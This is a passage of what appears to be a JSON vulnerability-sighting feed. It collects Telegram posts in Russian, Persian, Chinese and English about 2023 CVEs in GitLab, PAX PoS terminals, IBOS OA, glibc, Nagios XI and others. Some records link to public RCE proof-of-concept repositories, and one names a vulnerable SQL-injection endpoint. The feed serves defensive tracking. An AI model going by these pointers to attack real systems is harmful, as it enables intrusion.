\u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0432 \u043e\u043a\u043d\u0435 Message Composer.\n\n\u0422\u0430\u043a\u0436\u0435 \u0432 GitLab 16.7.2 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438:\n\nCVE-2023-4812 . \u0412\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 GitLab 15.3 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 CODEOWNERS \u043f\u0443\u0442\u0451\u043c \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0440\u0430\u043d\u0435\u0435 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435.\n\nCVE-2023-6955 . \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432 GitLab \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 16.7.2, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0435 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b.\n\nCVE-2023-2030 . \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432, \u0432\u043b\u0438\u044f\u044e\u0449\u0430\u044f \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u0438 GitLab CE/EE \u0441 12.2 \u0438 \u0432\u044b\u0448\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\n\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 GitLab .\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-01-15T15:42:10.000000Z"}, {"uuid": "72ed86f9-7d64-48fc-8973-9bf08dd67b87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4818", "type": "seen", "source": "https://t.me/itsec_news/3996", "content": "\u200b\u26a1\ufe0f\u041a\u0443\u043f\u0438\u043b \u0441\u043c\u0435\u0442\u0430\u043d\u044b \u2013 \u043b\u0438\u0448\u0438\u043b\u0441\u044f \u0437\u0430\u0440\u043f\u043b\u0430\u0442\u044b: \u043f\u043e\u043b\u044c\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0443\u0447\u0438\u043b\u0438\u0441\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u044f\u043c\u0438 PoS-\u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437 \u043f\u043e\u043b\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 STM Cyber \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430\u0445, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 PAX. \u0421 \u0438\u0445 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0430 PoS-\u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 Android, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0438\u0445 \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u043e \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438 \u041f\u043e\u043b\u044c\u0448\u0438. \u0412 \u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u043d\u0438 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0446\u0435\u043b\u044b\u0445 \u0448\u0435\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u043b\u0435\u0435 \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0447\u0443\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435.\n\n\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 ( CVE-2023-42133 ) \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0446\u0435\u043b\u044f\u0445 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u0438. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:\n\nCVE-2023-42134 \u0438 CVE-2023-42135 (CVSS 7.6) \u2014 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044f\u0434\u0440\u0430 \u0432 fastboot (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 PAX A920Pro/PAX A50).\n\nCVE-2023-42136 (CVSS 8.8) \u2014 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f/\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0443\u0436\u0431\u044b binder (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 PAX PoS \u043d\u0430 \u0431\u0430\u0437\u0435 Android).\n\nCVE-2023-42137 (CVSS 8.8) \u2014 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043e\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0434\u043e root \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 systool server (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 PAX PoS \u043d\u0430 \u0431\u0430\u0437\u0435 Android).\n\nCVE-2023-4818 (CVSS 7.3) \u2014 \u043f\u043e\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u0442\u043e\u043a\u0435\u043d\u0438\u0437\u0430\u0446\u0438\u0438 (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 PAX A920).\n\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043b\u044e\u0431\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n\u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0432 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u00ab\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u043e\u0440\u0433\u043e\u0432\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0443\u043c\u043c\u0443 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438\u00bb, \u2014 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u0434\u0430\u043c \u041a\u043b\u0438\u0448 \u0438 \u0425\u0443\u0431\u0435\u0440\u0442 \u042f\u0441\u0443\u0434\u043e\u0432\u0438\u0447.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2023-42136 \u0438 CVE-2023-42137 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0434\u043b\u044f \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0451\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a USB-\u043f\u043e\u0440\u0442\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 STM Cyber \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 PAX Technology \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0430\u044f 2023 \u0433\u043e\u0434\u0430, \u0430 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-01-18T15:27:35.000000Z"}, {"uuid": "33fd9ca2-667f-422c-bfc3-e5a9dafc54c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4851", "type": "exploited", "source": "https://t.me/kasraone_com/500", "content": "\ud83d\udd34 CVE \n \nLink Git Hub \ud83d\udc08\n\nCVE-2023-4851\n\n\ud83d\udcdc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0628\u06cc\u0634\u062a\u0631: \n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 IBOS OA 4.5.5 \u06cc\u0627\u0641\u062a \u0634\u062f \u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062d\u0631\u0627\u0646\u06cc \u0637\u0628\u0642\u0647 \u0628\u0646\u062f\u06cc \u0634\u062f. \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0628\u0631 \u067e\u0631\u062f\u0627\u0632\u0634 \u0646\u0627\u0634\u0646\u0627\u062e\u062a\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0627\u062b\u06cc\u0631 \u0645\u06cc \u06af\u0630\u0627\u0631\u062f\n \n?r=dashboard/database/\n\noptimize \u0628\u0647\u06cc\u0646\u0647 \u0633\u0627\u0632\u06cc. \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u0645\u0646\u062c\u0631 \u0628\u0647\n\u062a\u0632\u0631\u06cc\u0642 sql \u0645\u06cc \u0634\u0648\u062f. \u062d\u0645\u0644\u0647 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0622\u063a\u0627\u0632 \u0634\u0648\u062f. \u0627\u06cc\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0628\u0647 \u0639\u0645\u0648\u0645 \u0627\u0639\u0644\u0627\u0645 \u0634\u062f\u0647 \u0648 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f. \u0634\u0646\u0627\u0633\u0647 VDB - 239261 \u0628\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u062e\u062a\u0635\u0627\u0635 \u062f\u0627\u062f\u0647 \u0634\u062f", "creation_timestamp": "2023-09-11T12:29:56.000000Z"}, {"uuid": "cca89edc-fca0-4936-9fe0-25bfad137c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6878", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aShadowRay RCE POC (CVE-2023-48022)\nURL\uff1ahttps://github.com/jakabakos/ShadowRay-RCE-PoC-CVE-2023-48022\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-04-01T18:26:11.000000Z"}, {"uuid": "019334d6-a529-4869-8c69-1ae065fde3dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6836", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2023-48788 PoC SQLi----> RCE\nURL\uff1ahttps://github.com/CVETechnologic/CVE-2023-48788-Proof-of-concept-SQLinj\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-03-23T04:34:04.000000Z"}, {"uuid": "c1cc7170-24b9-40e0-b65c-b394b956cc44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48082", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1018", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48082\n\ud83d\udd39 Description: Nagios XI before 2024R1 was discovered to improperly handle API keys generation (randomly-generated), allowing attackers to possibly generate the same set of API keys for all users and utilize them to authenticate.\n\ud83d\udccf Published: 2024-10-14T00:00:00\n\ud83d\udccf Modified: 2025-01-09T17:30:10.243Z\n\ud83d\udd17 References:\n1. https://www.nagios.com/change-log/", "creation_timestamp": "2025-01-09T18:21:38.000000Z"}, {"uuid": "bbbeefd0-479f-4eba-be2c-3b82643a1d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48267", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4775", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48267\n\ud83d\udd25 CVSS Score: 8.6 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Improper buffer restrictions in some Intel(R) System Security Report and System Resources Defense firmware may allow a privileged user to potentially enable escalation of privilege via local access.\n\ud83d\udccf Published: 2025-02-12T21:20:14.271Z\n\ud83d\udccf Modified: 2025-02-19T04:55:14.788Z\n\ud83d\udd17 References:\n1. https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01203.html", "creation_timestamp": "2025-02-19T08:39:13.000000Z"}, {"uuid": "986f4c77-77ae-4875-9760-0b3af7a88474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4806", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14152", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4806\n\ud83d\udd25 CVSS Score: 5.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in glibc. In an extremely rare situation, the getaddrinfo function may access memory that has been freed, resulting in an application crash. This issue is only exploitable when a NSS module implements only the _nss_*_gethostbyname2_r and _nss_*_getcanonname_r hooks without implementing the _nss_*_gethostbyname3_r hook. The resolved name should return a large number of IPv6 and IPv4, and the call to the getaddrinfo function should have the AF_INET6 address family with AI_CANONNAME, AI_ALL and AI_V4MAPPED as flags.\n\ud83d\udccf Published: 2023-09-18T16:33:57.211Z\n\ud83d\udccf Modified: 2025-04-30T19:57:53.420Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHBA-2024:2413\n2. https://access.redhat.com/errata/RHSA-2023:5453\n3. https://access.redhat.com/errata/RHSA-2023:5455\n4. https://access.redhat.com/errata/RHSA-2023:7409\n5. https://access.redhat.com/security/cve/CVE-2023-4806\n6. https://bugzilla.redhat.com/show_bug.cgi?id=2237782", "creation_timestamp": "2025-04-30T20:14:28.000000Z"}, {"uuid": "3f2a2bb4-623f-40f3-ba24-ff1907aa2033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4813", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14151", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4813\n\ud83d\udd25 CVSS Score: 5.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in glibc. In an uncommon situation, the gaih_inet function may use memory that has been freed, resulting in an application crash. This issue is only exploitable when the getaddrinfo function is called and the hosts database in /etc/nsswitch.conf is configured with SUCCESS=continue or SUCCESS=merge.\n\ud83d\udccf Published: 2023-09-12T21:54:33.387Z\n\ud83d\udccf Modified: 2025-04-30T19:58:08.516Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHBA-2024:2413\n2. https://access.redhat.com/errata/RHSA-2023:5453\n3. https://access.redhat.com/errata/RHSA-2023:5455\n4. https://access.redhat.com/errata/RHSA-2023:7409\n5. https://access.redhat.com/security/cve/CVE-2023-4813\n6. https://bugzilla.redhat.com/show_bug.cgi?id=2237798", "creation_timestamp": "2025-04-30T20:14:27.000000Z"}, {"uuid": "622ee9d1-eb41-4824-95ac-30e103e4562f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4820", "type": "seen", "source": "Telegram/fmMwbYT05aaEY25wQ5VStTURHe5pQR65zspbP6aeUlPSHMTA", "content": "", "creation_timestamp": "2025-03-06T02:16:33.000000Z"}, {"uuid": "03803ca9-4d6b-4dc3-9218-60534a667453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48957", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7626", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48957\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: PureVPN Linux client 2.0.2-Productions fails to properly handle DNS queries, allowing them to bypass the VPN tunnel and be sent directly to the ISP or default DNS servers.\n\ud83d\udccf Published: 2024-08-25T00:00:00.000Z\n\ud83d\udccf Modified: 